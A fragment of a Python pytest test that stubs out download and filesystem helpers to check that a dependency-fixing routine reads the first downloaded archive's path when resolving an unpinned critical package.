def fake_get_downloaded_version(path):
|
|
seen["path"] = path
|
|
return "1.2.3"
|
|
|
|
monkeypatch.setattr(sp, "get_downloaded_version", fake_get_downloaded_version)
|
|
monkeypatch.setattr(sp, "find_safe_version", lambda *a, **k: None)
|
|
monkeypatch.setattr(sp.os, "makedirs", lambda *a, **k: None)
|
|
monkeypatch.setattr(sp.shutil, "rmtree", lambda *a, **k: None)
|
|
|
|
# CRITICAL package with no pinned version -> must download to resolve it,
|
|
# reaching downloaded[0][1] (the first archive's path).
|
|
entries = [
|
|
{
|
|
"name": "foo",
|
|
"is_git": False,
|
|
"spec": "foo",
|
|
"source_file": None,
|
|
"raw_line": "foo",
|
|
"line_num": 1,
|
|
}
|
|
]
|
|
sp._run_fix({"foo"}, entries, max_search = 10) # must not raise
|
|
|
|
assert seen.get("path") == "/tmp/foo-1.2.3.whl"
|